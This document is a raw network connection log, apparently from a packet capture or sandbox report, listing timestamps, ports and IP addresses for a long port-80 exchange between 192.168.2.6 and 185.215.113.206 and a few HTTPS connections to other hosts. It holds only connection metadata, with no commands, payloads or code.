Nov 23, 2024 05:02:49.796729088 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.797452927 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.797465086 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.797513008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.798357964 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.798424006 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.798775911 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.798877001 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.799345970 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.799359083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.799400091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.800249100 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.800388098 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.800622940 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.800690889 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.801532984 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.801547050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.801582098 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.801599026 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.802334070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.802346945 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.802397013 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.803107023 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.803157091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.803250074 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.803297043 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.804100990 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.804150105 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.804666996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.804714918 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.805071115 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.805083036 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.805123091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.806004047 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.806050062 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.806077003 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.806121111 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.806999922 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.807013035 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.807048082 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.807063103 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.807917118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.807974100 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.808154106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.808192968 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.808857918 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.808868885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.808919907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.808954954 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.809802055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.809844971 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.810065985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.810111046 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.810769081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.810828924 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.810897112 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.810940981 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.811727047 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.811791897 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.811873913 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.811969042 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.812654018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.812700033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.812911987 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.812957048 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.813596010 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.813638926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.813673019 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.813715935 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.814573050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.814620972 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.814877033 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.814929962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.815642118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.815654039 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.815706968 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.816467047 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.816550970 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.816711903 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.816761971 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.817433119 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.817445040 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.817478895 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.817513943 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.818919897 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.818932056 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.818969011 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.819327116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.819418907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.820312023 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.820324898 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.820338011 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.820369005 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.820401907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.821233988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.821295977 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.821548939 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.821599960 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.822230101 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.822242022 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.822284937 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.823182106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.823196888 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.823240042 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.824141026 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.824155092 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.824187994 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.824223995 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.825087070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.825100899 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.825162888 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.825162888 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.825998068 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.826051950 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.826256037 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.826311111 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.826960087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.827045918 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.827955961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.827967882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.827979088 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.828044891 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.828916073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.828928947 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.828970909 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.829822063 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.829946995 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.829968929 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.830003023 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.830781937 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.830827951 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.831021070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.831067085 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.831151962 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:49.831438065 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:49.831456900 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:49.831744909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.831758976 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.831798077 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.831831932 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.832654953 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.832690001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.832705975 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.832829952 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.833184958 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:49.833239079 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:49.833683014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.833694935 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.833738089 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.834266901 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:49.834357023 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:49.834583044 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.834635973 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.834731102 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.834779978 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.835560083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.835571051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.835622072 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.836502075 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.836571932 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.836618900 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.836666107 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.837470055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.837528944 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.837749958 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.837798119 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.838026047 CET	49874	443	192.168.2.6	23.57.90.144
Nov 23, 2024 05:02:49.838032007 CET	443	49874	23.57.90.144	192.168.2.6
Nov 23, 2024 05:02:49.838448048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.838502884 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.838511944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.838606119 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.839379072 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.839390993 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.839435101 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.839485884 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.840296030 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.840431929 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.840837002 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.840889931 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.841250896 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.841351032 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.841713905 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.841763020 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.843106985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.843118906 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.843175888 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.843256950 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.843269110 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.843326092 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.844142914 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.844194889 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.844862938 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.844933033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.845025063 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.845161915 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.878072023 CET	443	49868	152.195.19.97	192.168.2.6
Nov 23, 2024 05:02:49.884924889 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:49.884952068 CET	443	49876	104.117.182.59	192.168.2.6
Nov 23, 2024 05:02:49.884998083 CET	49874	443	192.168.2.6	23.57.90.144
Nov 23, 2024 05:02:49.902900934 CET	443	49868	152.195.19.97	192.168.2.6
Nov 23, 2024 05:02:49.902910948 CET	443	49868	152.195.19.97	192.168.2.6
Nov 23, 2024 05:02:49.902931929 CET	443	49868	152.195.19.97	192.168.2.6
Nov 23, 2024 05:02:49.902966022 CET	49868	443	192.168.2.6	152.195.19.97
Nov 23, 2024 05:02:49.902997971 CET	443	49868	152.195.19.97	192.168.2.6
Nov 23, 2024 05:02:49.903017998 CET	443	49868	152.195.19.97	192.168.2.6
Nov 23, 2024 05:02:49.903018951 CET	49868	443	192.168.2.6	152.195.19.97
Nov 23, 2024 05:02:49.903064013 CET	49868	443	192.168.2.6	152.195.19.97
Nov 23, 2024 05:02:49.903198004 CET	49868	443	192.168.2.6	152.195.19.97
Nov 23, 2024 05:02:49.903211117 CET	443	49868	152.195.19.97	192.168.2.6
Nov 23, 2024 05:02:49.904603004 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.904613018 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.904642105 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.904654980 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.904664993 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.904675007 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.904690981 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.904702902 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.904714108 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.904736042 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.932275057 CET	49876	443	192.168.2.6	104.117.182.59
Nov 23, 2024 05:02:49.944762945 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.944777012 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.944822073 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.944860935 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.944897890 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.944911003 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.945027113 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.996273041 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.996609926 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.996682882 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.996747971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.996823072 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.996937990 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.997720957 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.997814894 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.998012066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.998074055 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.998686075 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.998743057 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.999012947 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.999054909 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.999645948 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.999659061 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.999687910 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.999722958 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.000579119 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.000644922 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.001566887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.001580954 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.001594067 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.001625061 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.001640081 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.002530098 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.002583027 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.002666950 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.002820015 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.003427029 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.003634930 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.003695011 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.004743099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.004764080 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.004805088 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.004822016 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.005388021 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.005400896 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.005444050 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.005459070 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.006293058 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.006367922 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.006424904 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.007324934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.007337093 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.007380962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.008253098 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.008464098 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.008527040 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.009161949 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.009238005 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.009586096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.009640932 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.010147095 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.010159016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.010221004 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.011173010 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.011185884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.011238098 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.012012959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.012207985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.012258053 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.012984991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.013191938 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.013252020 CET	443	49875	3.168.73.83	192.168.2.6
Nov 23, 2024 05:02:50.013274908 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.013566017 CET	49875	443	192.168.2.6	3.168.73.83
Nov 23, 2024 05:02:50.013631105 CET	443	49875	3.168.73.83	192.168.2.6
Nov 23, 2024 05:02:50.013953924 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.013967037 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.014010906 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.014910936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.014976978 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.015096903 CET	443	49875	3.168.73.83	192.168.2.6
Nov 23, 2024 05:02:50.015167952 CET	49875	443	192.168.2.6	3.168.73.83
Nov 23, 2024 05:02:50.015516996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.015574932 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.015870094 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.015882969 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.015940905 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.016138077 CET	49875	443	192.168.2.6	3.168.73.83
Nov 23, 2024 05:02:50.016231060 CET	443	49875	3.168.73.83	192.168.2.6
Nov 23, 2024 05:02:50.016805887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.016865015 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.016968012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.017021894 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.017775059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.017787933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.017843962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.018693924 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.018762112 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.019731045 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.019767046 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.019778967 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.019788980 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.019818068 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.020648956 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.020661116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.020725012 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.021564007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.021642923 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.022059917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.022114992 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.022538900 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.022599936 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.022612095 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.022819042 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.023525000 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.023539066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.023601055 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.024915934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.024930000 CET	80	49819	185.215.113.206	192.168.2.6
